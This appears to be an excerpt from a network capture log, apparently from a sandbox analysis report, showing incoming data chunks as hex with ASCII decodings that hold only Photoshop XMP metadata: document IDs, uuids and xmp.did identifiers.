2022-07-01 09:01:55 UTC 4832 IN Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 33 61 39 36 38 35 
2d 34 39 61 64 2d 31 31 64 38 2d 62 63 32 31 2d 65 35 62 37 35 31 63 65 63 62 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 62 34 61 65 30 33 2d 36 62 
66 39 2d 31 31 64 39 2d 38 63 64 36 2d 65 63 33 34 39 30 34 38 64 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 66 30 62 64 63 38 2d 65 31 37 35 2d 
31 31 64 38 2d 38 30 35 31 2d 38 38 38 38 33 63 33 30 36 63 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
Data Ascii: df:li>adobe:docid:photoshop:613a9685-49ad-11d8-bc21-e5b751cecb20</rdf:li> <rdf:li>adobe:docid:phot
oshop:61b4ae03-6bf9-11d9-8cd6-ec349048d578</rdf:li> <rdf:li>adobe:docid:photoshop:61f0bdc8-e175-11d8-8051-8888
3c306cc2</rdf:li> <rdf:li>adobe:docid:photoshop

2022-07-01 09:01:55 UTC 4888 IN Data Raw: 64 39 2d 38 62 35 37 2d 38 63 61 61 35 33 61 38 34 31 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 30 61 32 37 35 66 66 2d 32 63 63 63 2d 31 31 
65 36 2d 61 63 65 36 2d 66 31 35 37 38 36 39 37 65 37 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 31 66 37 61 32 61 64 2d 66 31 39 35 2d 31 31 65 34 2d 
61 61 64 64 2d 63 66 64 35 30 66 65 62 30 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 32 30 30 63 32 65 33 2d 39 61 61 62 2d 31 31 37 61 2d 39 35 38 
65 2d 61 64 36 62 63 65 36 31 62 39 30 38 3c 2f 72 64 66 3a 6c 
Data Ascii: d9-8b57-8caa53a841c7</rdf:li> <rdf:li>adobe:docid:photoshop:90a275ff-2ccc-11e6-ace6-f1578697e7ab</rdf:li> 
<rdf:li>adobe:docid:photoshop:91f7a2ad-f195-11e4-aadd-cfd50feb0808</rdf:li> <rdf:li>adobe:docid:photoshop:9200c2e3-
9aab-117a-958e-ad6bce61b908</rdf:l

2022-07-01 09:01:55 UTC 4904 IN Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 38 38 33 35 39 39 2d 66 33 64 32 2d 31 31 65 36 2d 62 
61 36 37 2d 61 61 64 30 32 33 63 35 30 65 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 63 38 37 34 32 37 2d 63 38 31 34 2d 31 31 37 61 2d 39 32 35 65 
2d 62 32 64 66 39 36 35 62 39 64 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 32 32 63 64 39 36 2d 62 66 34 34 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 
61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
70 68 6f 74 6f 73 68 6f 70 3a 63 34 33 31 37 64 33 65 2d 35 31 
Data Ascii: docid:photoshop:c3883599-f3d2-11e6-ba67-aad023c50e50</rdf:li> <rdf:li>adobe:docid:photoshop:c3c87427-
c814-117a-925e-b2df965b9d5f</rdf:li> <rdf:li>adobe:docid:photoshop:c422cd96-bf44-11e7-8d9e-eaa9f9ef5651</rdf:li> 
<rdf:li>adobe:docid:photoshop:c4317d3e-51
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2022-07-01 09:01:55 UTC 4911 IN Data Raw: 37 61 36 39 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 64 39 37 30 30 35 2d 33 32 33 65 2d 31 31 64 61 2d 38 66 37 31 2d 38 38 65 63 
62 36 30 38 31 62 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 65 30 32 64 38 31 30 37 2d 31 39 61 61 2d 31 31 37 38 2d 39 63 37 34 2d 66 32 65 34 61 38 37 
66 63 32 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 65 30 33 36 38 30 30 63 2d 30 35 63 66 2d 31 31 64 61 2d 61 32 32 64 2d 65 61 32 37 35 35 64 30 61 34 
32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 
Data Ascii: 7a69dec</rdf:li> <rdf:li>adobe:docid:photoshop:dfd97005-323e-11da-8f71-88ecb6081bc5</rdf:li> <rdf:
li>adobe:docid:photoshop:e02d8107-19aa-1178-9c74-f2e4a87fc266</rdf:li> <rdf:li>adobe:docid:photoshop:e036800c-
05cf-11da-a22d-ea2755d0a42b</rdf:li> <rdf:li>ad

2022-07-01 09:01:55 UTC 4967 IN Data Raw: 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 34 32 30 34 42 34 33 43 45 
34 44 46 31 31 42 45 43 42 38 32 32 42 45 46 38 32 32 45 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
75 75 69 64 3a 31 33 35 39 46 43 32 39 38 30 46 32 45 30 31 31 41 41 31 42 45 42 41 43 44 35 44 34 30 36 46 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 36 38 36 38 37 32 37 30 41 37 31 31 44 42 38 31 
31 31 45 33 37 45 44 31 38 42 41 43 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 
42 36 39 35 37 43 44 32 30 31 31 31 44 42 39 39 31 36 46 42 31 45 45 42 37 34 39 36 35 46 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 42 42 34 34 42 44 34 
Data Ascii: DF</rdf:li> <rdf:li>uuid:134204B43CE4DF11BECB822BEF822E48</rdf:li> <rdf:li>uuid:1359FC2980F2E011AA
1BEBACD5D406F2</rdf:li> <rdf:li>uuid:1368687270A711DB8111E37ED18BAC46</rdf:li> <rdf:li>uuid:13B6957C
D20111DB9916FB1EEB74965F</rdf:li> <rdf:li>uuid:13BBB44BD4

2022-07-01 09:01:57 UTC 5508 IN Data Raw: 41 44 39 46 46 45 44 45 45 36 38 33 42 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 
69 64 3a 34 41 39 42 42 41 32 36 36 35 46 33 45 30 31 31 38 35 38 32 46 38 45 46 46 42 34 44 42 37 34 31 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 43 32 36 41 33 39 44 33 36 45 44 44 31 31 41 31 35 30 
38 32 43 45 46 45 46 38 41 43 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 45 30 3
5 35 39 44 33 30 34 33 44 44 31 31 38 31 38 37 46 31 46 30 30 38 34 45 37 37 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 34 42 30 39 39 33 35 41 36 39 42 39 44 43 31 31 42 46 33 37 43 34 34 35 34 41 33 43 
41 35 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 
Data Ascii: AD9FFEDEE683B260</rdf:li> <rdf:li>uuid:4A9BBA2665F3E0118582F8EFFB4DB741</rdf:li> <rdf:li>uuid:4AC2
6A39D36EDD11A15082CEFEF8AC8D</rdf:li> <rdf:li>uuid:4AE0559D3043DD118187F1F0084E7703</rdf:li> <rdf:li
>uuid:4B09935A69B9DC11BF37C4454A3CA56D</rdf:li> <rdf:li>u

2022-07-01 09:01:57 UTC 5516 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 36 35 30 35 38 35 35 34 41 44 45 31 31 
41 32 39 34 44 32 41 34 30 33 39 38 35 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 
36 30 33 45 37 45 41 30 45 39 36 33 45 31 31 31 41 41 43 36 43 36 32 38 36 30 38 33 31 39 36 32 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 35 37 45 32 44 46 45 46 31 36 31 31 44 46 39 45 36 46 46 33 37 
39 34 42 42 30 38 32 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 37 35 34 35 35 
38 42 42 42 46 44 44 31 31 38 32 30 30 44 38 38 44 32 34 32 36 43 44 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 75 75 69 64 3a 36 30 38 35 30 41 45 36 37 39 43 37 45 30 31 31 
Data Ascii: f:li> <rdf:li>uuid:60365058554ADE11A294D2A403985EDA</rdf:li> <rdf:li>uuid:603E7EA0E963E1
11AAC6C62860831962</rdf:li> <rdf:li>uuid:6057E2DFEF1611DF9E6FF3794BB0824F</rdf:li> <rdf:li>uuid:6075
4558BBBFDD118200D88D2426CD5B</rdf:li> <rdf:li>uuid:60850AE679C7E011

2022-07-01 09:01:57 UTC 5532 IN Data Raw: 35 43 37 31 31 44 46 42 33 38 33 45 32 43 39 34 42 45 45 43 46 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 75 75 69 64 3a 39 33 36 39 30 34 32 43 32 46 34 36 44 45 31 31 42 44 39 45 45 35 41 36 36 33 39 41 36 
32 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 37 44 31 41 33 33 33 37 31 43 31 
31 44 44 39 30 42 37 44 38 45 42 30 31 38 34 44 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 6
9 64 3a 39 33 38 37 35 37 46 42 43 44 36 37 44 45 31 31 39 34 31 46 41 35 30 39 32 42 39 42 36 37 42 35 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 43 31 36 31 31 35 39 38 41 37 44 46 31 31 42 38 45 34 
42 45 37 39 43 34 45 42 36 30 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: 5C711DFB383E2C94BEECF55</rdf:li> <rdf:li>uuid:9369042C2F46DE11BD9EE5A6639A625F</rdf:li> 
<rdf:li>uuid:937D1A33371C11DD90B7D8EB0184D9A9</rdf:li> <rdf:li>uuid:938757FBCD67DE11941FA5092B9B67B5
</rdf:li> <rdf:li>uuid:93C1611598A7DF11B8E4BE79C4EB6006</rdf:li> <r

2022-07-01 09:01:57 UTC 5548 IN Data Raw: 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 30 44 42 30 42 37 30 45 38 30 
44 44 31 31 38 45 43 43 41 43 35 31 30 46 35 42 44 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 
75 69 64 3a 43 44 31 34 34 41 31 41 42 43 45 31 44 45 31 31 42 42 45 37 44 41 39 46 42 34 36 36 44 42 41 31 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 35 44 33 45 44 45 41 41 45 39 31 31 44 42 41 32 33 
37 39 42 45 37 34 37 30 34 45 32 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 36 
41 32 37 36 46 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 38 38 43 39 35 43 39 32 43 
Data Ascii: D</rdf:li> <rdf:li>uuid:CD0DB0B70E80DD118ECCAC510F5BD120</rdf:li> <rdf:li>uuid:CD144A1AB
CE1DE11BBE7DA9FB466DBA1</rdf:li> <rdf:li>uuid:CD5D3EDEAAE911DBA2379BE74704E200</rdf:li> <rdf:li>uuid
:CD6A276F2231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:CD88C95C92C

2022-07-01 09:01:57 UTC 5555 IN Data Raw: 43 44 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 34 35 32 35 38 35 36 33 39 37 44 45 31 31 41 34 43 30 43 41 33 43 34 45 46 46 
43 41 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 38 44 32 45 35 30 36 43 39 45 
45 30 31 31 42 42 33 35 39 45 31 34 35 33 38 41 30 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 7
5 69 64 3a 45 42 39 44 43 33 37 45 33 42 36 45 44 45 31 31 38 39 34 42 46 46 45 35 41 32 36 43 44 36 34 33 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 46 31 38 34 41 41 33 42 42 45 44 43 31 31 41 44 43 
39 41 41 39 34 32 33 46 31 36 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: CDCBE011B3FED24831848F59</rdf:li> <rdf:li>uuid:EB4525856397DE11A4C0CA3C4EFFCA36</rdf:li> 
<rdf:li>uuid:EB8D2E506C9EE011BB359E14538A0A4D</rdf:li> <rdf:li>uuid:EB9DC37E3B6EDE11894BFFE5A26CD64
3</rdf:li> <rdf:li>uuid:EBF184AA3BBEDC11ADC9AA9423F16EAD</rdf:li> <

2022-07-01 09:01:57 UTC 5571 IN Data Raw: 31 31 41 42 30 38 38 38 45 43 39 44 38 42 38 35 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 39 31 42 37 39 31 32 32 42 32 32 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 
36 38 31 31 41 42 30 38 43 41 46 34 46 45 31 39 42 45 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 44 42 32 45 32 45 35 42 43 33 33 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 
38 31 31 41 42 30 38 45 38 45 38 45 45 33 46 30 32 38 39 3c 2f 72 64 66 
Data Ascii: 11AB0888EC9D8B85A6</rdf:li> <rdf:li>xmp.did:0180117407206811AB0891B79122B22D</rdf:li> <rdf:li>xmp.
did:0180117407206811AB08CAF4FE19BE9D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CDB2E2E5BC33</rdf:li> 
<rdf:li>xmp.did:0180117407206811AB08E8E8EE3F0289</rdf
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2022-07-01 09:01:57 UTC 5587 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 
31 30 39 44 38 45 43 45 42 46 30 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 37 45 36 44 44 31 34 38 31 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 
30 39 45 38 44 34 43 39 33 37 45 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 43 35 42 39 42 34 35 36 46 39 41 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 
Data Ascii: > <rdf:li>xmp.did:05801174072068119109D8ECEBF0CD41</rdf:li> <rdf:li>xmp.did:058011740720
68119109E87E6DD14813</rdf:li> <rdf:li>xmp.did:05801174072068119109E8D4C937EDAB</rdf:li> <rdf:li>xmp.
did:05801174072068119109FC5B9B456F9A</rdf:li> <rdf:li>xmp.did:05801

2022-07-01 09:01:57 UTC 5595 IN Data Raw: 46 33 39 32 34 44 45 31 31 31 38 46 45 42 44 33 34 39 43 39 32 36 38 45 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 45 32 41 39 41 41 36 42 32 30 36 38 31 31 38 38 43 36 41 33 30 
33 41 37 32 37 33 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 62 35 
63 33 34 30 2d 38 39 32 35 2d 61 32 34 37 2d 39 31 61 32 2d 62 32 31 63 39 35 64 34 63 66 62 62 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 64 39 66 62 38 38 2d 36 64 39 65 2d 34 37 63 66 2d 61 
33 37 30 2d 38 38 31 63 38 36 33 34 65 63 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 30 37 65 30 63 31 32 62 2d 62 35 66 34 2d 34 62 30 64 2d 61 63 
Data Ascii: F3924DE1118FEBD349C9268E6E</rdf:li> <rdf:li>xmp.did:07E2A9AA6B20681188C6A303A72732FA</rdf:li> 
<rdf:li>xmp.did:07b5c340-8925-a247-91a2-b21c95d4cfbb</rdf:li> <rdf:li>xmp.did:07d9fb88-6d9e-47cf-a370-88
1c8634ecb5</rdf:li> <rdf:li>xmp.did:07e0c12b-b5f4-4b0d-ac

2022-07-01 09:01:57 UTC 5611 IN Data Raw: 34 39 63 62 31 63 37 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 
33 31 39 35 30 66 34 2d 65 62 31 35 2d 64 37 34 66 2d 38 38 64 39 2d 38 38 61 61 65 66 37 32 61 32 63 30 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 32 62 34 39 36 39 2d 38 38 39 35 2d 31 39 34 
64 2d 61 35 63 32 2d 35 66 34 30 66 32 32 38 33 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 31 33 33 37 34 31 43 45 37 32 32 32 36 38 31 31 38 44 42 42 45 41 45 30 45 45 35 42 30 30 38 41 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 45 32 46 46 30 44 32 30 36 38 
31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 
Data Ascii: 49cb1c7ae</rdf:li> <rdf:li>xmp.did:131950f4-eb15-d74f-88d9-88aaef72a2c0</rdf:li> <rdf:li>xmp.did:132b4969-
8895-194d-a5c2-5f40f2283076</rdf:li> <rdf:li>xmp.did:133741CE722268118DBBEAE0EE5B008A</rdf:li> <rdf:li
>xmp.did:1337E2FF0D20681183D1AF7A00F36933</rdf:

2022-07-01 09:01:57 UTC 5627 IN Data Raw: 38 38 61 39 2d 33 62 38 31 64 32 33 61 62 63 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 32 33 36 38 42 39 34 31 42 35 32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 37 41 36 36 38 39 34 41 32 30 36 
38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 32 33 38 31 33 30 44 42 33 38 32 30 36 38 31 31 39 35 46 45 44 34 46 36 37 44 46 30 44 38 45 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 37 43 39 46 45 32 46 32 30 36 38 
31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a 
Data Ascii: 88a9-3b81d23abcdf</rdf:li> <rdf:li>xmp.did:2368B941B5256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.d
id:237A66894A206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:238130DB3820681195FED4F67DF0D8E8</rdf:li> 
<rdf:li>xmp.did:2387C9FE2F2068119A82FE2ACBC57436</rdf:

2022-07-01 09:01:57 UTC 5635 IN Data Raw: 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 41 35 42 39 30 39 38 38 34 43 31 31 45 31 39 45 33 37 46 32 43 37 46 44 
36 37 39 38 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 44 42 34 34 36 
33 31 42 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 45 46 37 42 38 45 32 31 32 30 36 38 31 31 38 30 38 33 46 31 44 34 33 45 41 
39 37 31 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 34 34 30 43 37 46 
30 37 32 30 36 38 31 31 38 30 38 33 39 43 38 46 41 37 33 37 39 36 34 32 
Data Ascii: D9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2AA5B909884C11E19E37F2C7FD67985A</rdf:li> 
<rdf:li>xmp.did:2ADB44631B206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:2AEF7B8E212068118083F1D
43EA9712B</rdf:li> <rdf:li>xmp.did:2B440C7F0720681180839C8FA7379642

2022-07-01 09:01:57 UTC 5651 IN Data Raw: 31 42 37 35 42 41 39 35 30 34 31 39 32 39 38 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 33 38 43 31 39 38 33 45 43 45 32 31 36 38 31 31 39 35 46 45 44 33 33 42 46 43 34 32 30 43 42 31 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 34 45 31 32 31 32 30 33 34 31 
31 45 35 38 45 42 38 46 41 45 37 33 35 38 33 35 45 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 33 38 45 36 46 43 39 34 33 36 32 30 36 38 31 31 41 46 46 44 38 36 43 31 32 37 44 41 30 35 31 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 63 39 34 62 62 34 2d 61 63 33 36 2d 
34 31 63 61 2d 38 32 37 66 2d 61 61 35 34 30 36 63 33 62 64 39 37 3c 2f 
Data Ascii: 1B75BA950419298B8</rdf:li> <rdf:li>xmp.did:38C1983ECE21681195FED33BFC420CB1</rdf:li> <rd
f:li>xmp.did:38E4E121203411E58EB8FAE735835ECD</rdf:li> <rdf:li>xmp.did:38E6FC9436206811AFFD86C127DA0
516</rdf:li> <rdf:li>xmp.did:38c94bb4-ac36-41ca-827f-aa5406c3bd97</

2022-07-01 09:01:57 UTC 5667 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 42 35 39 31 36 41 35 42 32 
36 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 34 37 43 31 44 43 39 35 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 
41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 46 35 42 30 33 34 31 46 32 34 3
6 38 31 31 38 46 36 32 41 34 43 37 41 45 46 39 33 35 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 34 37 64 30 34 65 36 39 2d 61 61 37 65 2d 34 36 63 64 2d 38 30 62 34 2d 65 37 35 64 38 63 35 65 38 
64 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
Data Ascii: /rdf:li> <rdf:li>xmp.did:47B5916A5B26681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:47C1DC959820681
18083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:47F5B0341F2468118F62A4C7AEF93527</rdf:li> <rdf:li>xmp.did
:47d04e69-aa7e-46cd-80b4-e75d8c5e8de6</rdf:li> <rdf:li>xm

2022-07-01 09:01:57 UTC 5675 IN Data Raw: 38 35 38 65 34 64 61 34 66 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 34 66 35 62 62 35 61 62 2d 64 36 38 32 2d 66 34 34 32 2d 61 34 37 34 2d 64 37 63 35 39 39 37 64 34 63 65 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 38 38 32 30 65 62 2d 61 31 39 61 2d 
34 64 64 61 2d 39 32 31 39 2d 35 38 65 64 66 33 65 38 36 61 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 34 66 39 64 61 62 36 36 2d 30 35 39 65 2d 65 62 34 63 2d 38 34 30 37 2d 66 38 32 62 64 66 
63 62 63 30 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 62 34 31 37 34 
65 2d 38 39 64 64 2d 34 63 66 61 2d 62 37 30 62 2d 38 37 63 63 36 32 39 
Data Ascii: 858e4da4f143</rdf:li> <rdf:li>xmp.did:4f5bb5ab-d682-f442-a474-d7c5997d4ce8</rdf:li> <rdf:li>xmp.di
